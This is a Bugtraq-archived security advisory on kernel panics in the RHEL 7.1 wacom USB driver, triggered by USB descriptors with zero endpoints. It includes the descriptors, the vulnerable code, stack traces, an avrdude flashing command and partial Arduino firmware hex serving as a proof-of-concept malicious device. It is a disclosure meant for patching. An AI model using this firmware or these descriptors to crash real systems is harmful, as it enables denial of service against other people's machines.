Bugtraq mailing list archives

OS-S 2016-11 Linux wacom multiple Nullpointer Dereferences

From: Ralf Spenneberg <ralf () os-t de>
Date: Wed, 09 Mar 2016 12:07:13 +0100
OS-S Security Advisory 2016-11
Linux wacom multiple Nullpointer Dereferences   

Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS:  4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Multiple Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on 
invalid USB device descriptors (wacom driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the 
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of advisory: https://os-s.net/advisories/OSS-2016-11_wacom.pdf

Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of buggy USB 
device requiring the wacom driver.

Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes. 

Description:
These bugs were found using the USB-fuzzing framework vUSBf from Sergej 
Schumilo
(github.com/schumilo) using the following device descriptors:

[*] Device-Descriptor #1
  bLength:                      0x12
          bDescriptorType:              0x1
          bcdUSB:                       0x200
          bDeviceClass:                 0x3
          bDeviceSubClass:              0x0
          bDeviceProtocol:              0x0
          bMaxPacketSize:               0x40
          idVendor:                     0x56a
          idProduct:                    0x3
          bcdDevice:                    0x100
          iManufacturer:                        0x1
          iProduct:                     0x2
          iSerialNumbers:                       0x3
          bNumConfigurations:           0x1


This is the configuration descriptor containing the malicious value for 
bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the 
system.


                [*] Configuration-Descriptor
                  bLength:                      0x9
                  bDescriptorType:              0x2
                  wTotalLength:                 0x27
                  bNumInterfaces:               0x1
                  bConfigurationValue:          0x1
                  iConfiguration:                       0x0
                  bmAttributes:                 0x0
                  bMaxPower:                    0x31
                        [*] Interface-Descriptor
                          bLength:                      0x9
                          bDescriptorType:              0x4
                          bInterfaceNumber:             0x0
                          bAlternateSetting:            0x0
                          bNumEndpoints:                0x0
                          bInterfaceClass:                      0x0
                          bInterfaceSubClass:           0x0
                          bInterfaceProtocol:           0x0
                                [*] Endpoint-Descriptor:
                                  bLength:                      0x7
                                  bDescriptorType:              0x5
                                  bEndpointAddress:             0x81    
                                  bmAttribut:                   0x3     
                                  wMaxPacketSize:               0x404
                                  bInterval:                    0xc
                                [*] Endpoint-Descriptor:
                                  bLength:                      0x7
                                  bDescriptorType:              0x5
                                  bEndpointAddress:             0x1     
                                  bmAttribut:                   0x2     
                                  wMaxPacketSize:               0x4
                                  bInterval:                    0xc
                                [*] Endpoint-Descriptor:
                                  bLength:                      0x7
                                  bDescriptorType:              0x5
                                  bEndpointAddress:             0x82    
                                  bmAttribut:                   0x2
                                  wMaxPacketSize:               0x4
                                  bInterval:                    0xc

The wacom driver assumes that there will be at least one endpoint-descriptor.
If the interface-descriptor contains a zero-value for bNumEndpoints or no 
endpoint-descriptor is provided, the driver tries to dereference a null-
pointer and the kernel crashes:


****
$ nm wacom.ko.debug | grep wacom_probe
00000000000054a0 t wacom_probe
$ addr2line -e wacom.ko.debug 0x5A22
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/input/tablet/wacom_sys.c:1367
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/tablet/wacom-
sys.c)
        ...
1308
1309    endpoint = &intf->cur_altsetting->endpoint[0].desc; /* might be null-
pointer */
1310
        ...
1365
1366    usb_fill_int_urb(wacom->irq, dev,
1367             usb_rcvintpipe(dev, endpoint->bEndpointAddress), /* possible 
null-pointer dereference */
1368             wacom_wac->data, features->pktlen,
1369             wacom_sys_irq, wacom, endpoint->bInterval);
1370    wacom->irq->transfer_dma = wacom->data_dma;
        ...
****




[*] Device-Descriptor #2
  bLength:                      0x12
          bDescriptorType:              0x1
          bcdUSB:                       0x200
          bDeviceClass:                 0x3
          bDeviceSubClass:              0x0
          bDeviceProtocol:              0x0
          bMaxPacketSize:               0x40
          idVendor:                     0x56a
          idProduct:                    0x90
          bcdDevice:                    0x100
          iManufacturer:                        0x1
          iProduct:                     0x2
          iSerialNumbers:                       0x3
          bNumConfigurations:           0x1


This is the configuration descriptor containing the malicious value for 
bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the 
system.

                [*] Configuration-Descriptor
                  bLength:                      0x9
                  bDescriptorType:              0x2
                  wTotalLength:                 0x27
                  bNumInterfaces:               0x1
                  bConfigurationValue:          0x1
                  iConfiguration:                       0x0
                  bmAttributes:                 0x0
                  bMaxPower:                    0x31
                        [*] Interface-Descriptor
                          bLength:                      0x9
                          bDescriptorType:              0x4
                          bInterfaceNumber:             0x0
                          bAlternateSetting:            0x0
                          bNumEndpoints:                0x0
                          bInterfaceClass:                      0x0
                          bInterfaceSubClass:           0x0
                          bInterfaceProtocol:           0x0
                                [*] Endpoint-Descriptor:
                                  bLength:                      0x7
                                  bDescriptorType:              0x5
                                  bEndpointAddress:             0x81    
                                  bmAttribut:                   0x3     
                                  wMaxPacketSize:               0x404
                                  bInterval:                    0xc
                                [*] Endpoint-Descriptor:
                                  bLength:                      0x7
                                  bDescriptorType:              0x5
                                  bEndpointAddress:             0x1     
                                  bmAttribut:                   0x2     
                                  wMaxPacketSize:               0x4
                                  bInterval:                    0xc
                                [*] Endpoint-Descriptor:
                                  bLength:                      0x7
                                  bDescriptorType:              0x5
                                  bEndpointAddress:             0x82    
                                  bmAttribut:                   0x2
                                  wMaxPacketSize:               0x4
                                  bInterval:                    0xc



The wacom driver assumes that there will be at least one endpoint-descriptor.
If the interface-descriptor contains a zero-value for bNumEndpoints or no 
endpoint-descriptor is provided, the driver tries to dereference a null-
pointer and the kernel crashes:

****
$ nm wacom.ko.debug | grep wacom_probe
00000000000054a0 t wacom_probe
$ addr2line -e wacom.ko.debug 0x5756
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/input/tablet/wacom_sys.c:599
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/tablet/wacom-
sys.c)
        ...
597 error = usb_get_extra_descriptor(interface, HID_DEVICET_HID, &hid_desc);
598 if (error) {
599     error = usb_get_extra_descriptor(&interface->endpoint[0], /* possible 
null-pointer dereference */
600                      HID_DEVICET_REPORT, &hid_desc);
        ...
****


Proof of Concept:
For a proof of concept, we are providing two Arduino Leonardo firmware files. 
These firmware files will emulate defective USB devices.


 avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U 
flash:w:binary.hex

  
Firmware files have been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to 
connect port D3 and 3V3!

Severity and Ease of Exploitation:
Both vulnerabilities can be easily exploited. Using our Arduino Leonardo 
firmware files, only physical access to the system is required.

Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
The upstream driver was recently rebased and thus is not affected.
RHEL related security patches have been provided, but no CVE number was 
assigned.

References:
https://bugzilla.redhat.com/show_bug.cgi?id=1283375
https://bugzilla.redhat.com/show_bug.cgi?id=1283377
http://www.spinics.net/lists/linux-input/msg42294.html

Kernel Stacktrace #1:


[   41.611702] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[   41.821226] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint 
descriptors, different from the interface descriptor's value: 0
[   41.844208] usb 1-1: New USB device found, idVendor=056a, idProduct=0003
[   41.849572] usb 1-1: New USB device strings: Mfr=1, Product=2, 
SerialNumber=3
[   41.855326] usb 1-1: Product: ĉ
[   41.859442] usb 1-1: Manufacturer: ĉ
[   41.863456] usb 1-1: SerialNumber: %
[   41.916320] BUG: unable to handle kernel NULL pointer dereference at 
0000000000000002
[   41.917021] IP: [<ffffffffa0398a22>] wacom_probe+0x582/0xec0 [wacom]
[   41.917021] PGD 0 
[   41.917021] Oops: 0000 [#1] SMP 
[   41.917021] Modules linked in: wacom(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT 
xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables 
ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle 
ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat 
nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack 
iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm 
ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 
i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif 
cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy 
dm_mirror dm_region_hash dm_log dm_mod
[   41.917021] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 
3.10.0-229.14.1.el7.x86_64 #1
[   41.917021] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[   41.917021] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[   41.917021] RIP: 0010:[<ffffffffa0398a22>]  [<ffffffffa0398a22>] 
wacom_probe+0x582/0xec0 [wacom]
[   41.917021] RSP: 0018:ffff88000bd23b58  EFLAGS: 00010246
[   41.917021] RAX: 0000000000000000 RBX: ffff88000c525800 RCX: 0000000000000000
[   41.917021] RDX: 0000000000000004 RSI: 0000000000000008 RDI: ffff88000ca75000
[   41.917021] RBP: ffff88000bd23be0 R08: 000000000000000d R09: 0000000000000064
[   41.917021] R10: 0000000000000064 R11: ffffffff810020d8 R12: ffff88000bcd0090
[   41.917021] R13: ffff88000bcd0000 R14: ffff88000c525c20 R15: ffff88000c525c00
[   41.917021] FS:  00007fb8082b4880(0000) GS:ffff88000fc00000(0000) 
knlGS:0000000000000000
[   41.917021] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[   41.917021] CR2: 0000000000000002 CR3: 000000000bd05000 CR4: 
00000000000006f0
[   41.917021] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 
0000000000000000
[   41.917021] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[   41.917021] Stack:
[   41.917021]  ffff88000bd23bb0 00000000dca45828 ffff88000bcd0090 
0000000000000004
[   41.917021]  ffff88000bcd0138 0000000000000202 0000000000000001 
0000000000000246
[   41.917021]  0000000000000000 ffff88000000000d 0000000000000202 
00000000dca45828
[   41.917021] Call Trace:
[   41.917021]  [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[   41.917021]  [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[   41.917021]  [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[   41.917021]  [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[   41.917021]  [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[   41.917021]  [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[   41.917021]  [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0
[   41.917021]  [<ffffffff813d3b34>] driver_register+0x64/0xf0
[   41.917021]  [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160
[   41.917021]  [<ffffffffa03a4000>] ? 0xffffffffa03a3fff
[   41.917021]  [<ffffffffa03a401e>] wacom_driver_init+0x1e/0x1000 [wacom]
[   41.917021]  [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[   41.917021]  [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[   41.917021]  [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[   41.917021]  [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[   41.917021]  [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[   41.917021]  [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[   41.917021] Code: 84 0f 08 00 00 48 83 c0 20 48 c7 c7 20 f4 39 a0 49 89 87 
d8 00 00 00 e8 4d f1 26 e1 48 8b 45 b8 41 8b b7 88 00 00 00 49 8b 7f 60 <0f> 
b6 50 02 0f b6 48 06 41 8b 84 24 70 ff ff ff c1 e2 0f c1 e0 
[   41.917021] RIP  [<ffffffffa0398a22>] wacom_probe+0x582/0xec0 [wacom]
[   41.917021]  RSP <ffff88000bd23b58>
[   41.917021] CR2: 0000000000000002
[   42.331382] ---[ end trace b239663354a1c556 ]---
[   42.336544] Kernel panic - not syncing: Fatal exception
[   42.337520] drm_kms_helper: panic occurred, switching back to text console


Kernel Stacktrace #2:


[   34.781297] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[   34.986458] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint 
descriptors, different from the interface descriptor's value: 0
[   35.014291] usb 1-1: New USB device found, idVendor=056a, idProduct=0090
[   35.021605] usb 1-1: New USB device strings: Mfr=1, Product=2, 
SerialNumber=3
[   35.029627] usb 1-1: Product: ĉ
[   35.034093] usb 1-1: Manufacturer: ĉ
[   35.037368] usb 1-1: SerialNumber: %
[   35.091600] BUG: unable to handle kernel NULL pointer dereference at 
0000000000000038
[   35.092021] IP: [<ffffffffa0398756>] wacom_probe+0x2b6/0xec0 [wacom]
[   35.092021] PGD 0 
[   35.092021] Oops: 0000 [#1] SMP 
[   35.092021] Modules linked in: wacom(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT 
xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables 
ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle 
ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat 
nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack 
iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm 
ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 
i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif 
cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy 
dm_mirror dm_region_hash dm_log dm_mod
[   35.092021] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 
3.10.0-229.14.1.el7.x86_64 #1
[   35.092021] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[   35.092021] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[   35.092021] RIP: 0010:[<ffffffffa0398756>]  [<ffffffffa0398756>] 
wacom_probe+0x2b6/0xec0 [wacom]
[   35.092021] RSP: 0018:ffff88000bd23b58  EFLAGS: 00010286
[   35.092021] RAX: 0000000000000000 RBX: ffff88000c525800 RCX: ffff88000bd23ba8
[   35.092021] RDX: 0000000000000022 RSI: 0000000000000000 RDI: ffff88000f508692
[   35.092021] RBP: ffff88000bd23be0 R08: ffff88000bd72553 R09: 0000000000000064
[   35.092021] R10: 0000000000000064 R11: ffffffff810020d8 R12: ffff88000bcd0090
[   35.092021] R13: ffff88000bcd0000 R14: ffff88000f508bc8 R15: ffff88000bd72400
[   35.092021] FS:  00007fb8082b4880(0000) GS:ffff88000fc00000(0000) 
knlGS:0000000000000000
[   35.092021] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[   35.092021] CR2: 0000000000000038 CR3: 000000000d6a6000 CR4: 
00000000000006f0
[   35.092021] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 
0000000000000000
[   35.092021] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[   35.092021] Stack:
[   35.092021]  ffff88000bd23bb0 0000000065aed7a7 ffff88000bcd0090 
0000000000000004
[   35.092021]  ffff88000bcd0138 0000000000000202 0000000000000001 
0000000000000246
[   35.092021]  0000000000000000 ffff88000bd23be0 0000000000000202 
0000000065aed7a7
[   35.092021] Call Trace:
[   35.092021]  [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[   35.092021]  [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[   35.092021]  [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[   35.092021]  [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[   35.092021]  [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[   35.092021]  [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[   35.092021]  [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0
[   35.092021]  [<ffffffff813d3b34>] driver_register+0x64/0xf0
[   35.092021]  [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160
[   35.092021]  [<ffffffffa03a4000>] ? 0xffffffffa03a3fff
[   35.092021]  [<ffffffffa03a401e>] wacom_driver_init+0x1e/0x1000 [wacom]
[   35.092021]  [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[   35.092021]  [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[   35.092021]  [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[   35.092021]  [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[   35.092021]  [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[   35.092021]  [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[   35.092021] Code: 05 01 00 00 41 8b 76 0c 49 8b 7e 10 48 8d 4d c8 ba 21 00 
00 00 e8 cb 2c 07 e1 85 c0 74 24 49 8b 46 18 48 8d 4d c8 ba 22 00 00 00 <8b> 
70 38 48 8b 78 30 e8 ae 2c 07 e1 85 c0 41 89 c6 0f 85 b2 07 
[   35.092021] RIP  [<ffffffffa0398756>] wacom_probe+0x2b6/0xec0 [wacom]
[   35.092021]  RSP <ffff88000bd23b58>
[   35.092021] CR2: 0000000000000038
[   35.492030] ---[ end trace b239663354a1c556 ]---
[   35.497540] Kernel panic - not syncing: Fatal exception
[   35.498503] drm_kms_helper: panic occurred, switching back to text console


Arduino Leonardo Firmware #1:

:100000000C94A8000C94C5000C94C5000C94C50079
:100010000C94C5000C94C5000C94C5000C94C5004C
:100020000C94C5000C94C5000C94C2050C942D04CE
:100030000C94C5000C94C5000C94C5000C94C5002C
:100040000C94C5000C94C5000C94C5000C94C5001C
:100050000C94C5000C94C5000C94C5000C940C02C3
:100060000C94C5000C94C5000C94C5000C94C500FC
:100070000C94C5000C94C5000C94C5000C94C500EC
:100080000C94C5000C94C5000C94C5000C94C500DC
:100090000C94C5000C94C5000C94C5000C94C500CC
:1000A0000C94C5000C94C5000C94C50009030C0306
:1000B000FF0203032D032D032D0310031403180364
:1000C0001E0322032D0328030000000200080E0077
:1000D00000030401000B000000000000000000000D
:1000E00000000000000004080201104080401020C1
:1000F00040804080080204018040201002011080EE
:100100001020404004040404040304050202020217
:1001100004030202020206060606060604040202A0
:100120000204000000002300260029002C002F00FC
:1001300000000000250028002B002E0031000000E8
:100140000000240027002A002D00300000C180811B
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
:10016000B1E0E0EDF3E102C005900D92A436B107D5
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C
:10018000E1F70E94C8000C9402070C940000089547
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421
:1001A000DEBF0FBECDBF0E949F020E94C70060E06D
:1001B00083E00E942E0361E087E00E942E0361E04D
:1001C00088E00E942E030E9457067E012AE9E20E73
:1001D000F11C84E093E0D70111969C938E9389E003
:1001E00094E013969C938E93129782E2E2E1F1E001
:1001F0009E012F5F3F4F6901D90101900D928A95B1
:10020000E1F788E1E4E3F1E0DE01939601900D92DD
:100210008A95E1F782E1ECE4F1E0DE01DB96019002
:100220000D928A95E1F789E0EEE5F1E0DE01A05953
:10023000BF4F01900D928A95E1F72A593F4F99E0FF
:10024000992ED901E92D1D92EA95E9F78E010957FA
:100250001F4F87E0E7E6F1E0D80101900D928A9503
:10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189
:1002700001900D928A95E1F7AE0147585F4F87E0F4
:10028000E5E7F1E0DA0101900D928A95E1F75E0170
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Arduino Leonardo Firmware #2:

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Current thread:

OS-S 2016-11 Linux wacom multiple Nullpointer Dereferences Ralf Spenneberg (Mar 09)
- <Possible follow-ups>
- Re: OS-S 2016-11 Linux wacom multiple Nullpointer Dereferences vdronov (Mar 15)